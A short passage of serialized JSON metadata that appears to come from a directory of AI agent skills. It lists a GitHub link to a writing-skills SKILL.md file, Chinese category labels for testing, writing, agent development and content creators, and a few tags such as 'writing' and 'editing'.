deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[200,203,206,209],{"categoryNo":201,"categoryName":202,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000008","测试与质量",{"categoryNo":204,"categoryName":205,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":207,"categoryName":208,"taxonomyType":125,"taxonomyTypeDesc":126},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":210,"categoryName":211,"taxonomyType":158,"taxonomyTypeDesc":159},"01JBSEEDCAT000000000000036","内容创作者",[213,214,215,87,110,216,79,217,104,85,218],"writing","writing skills","new","work","editing","Existing"]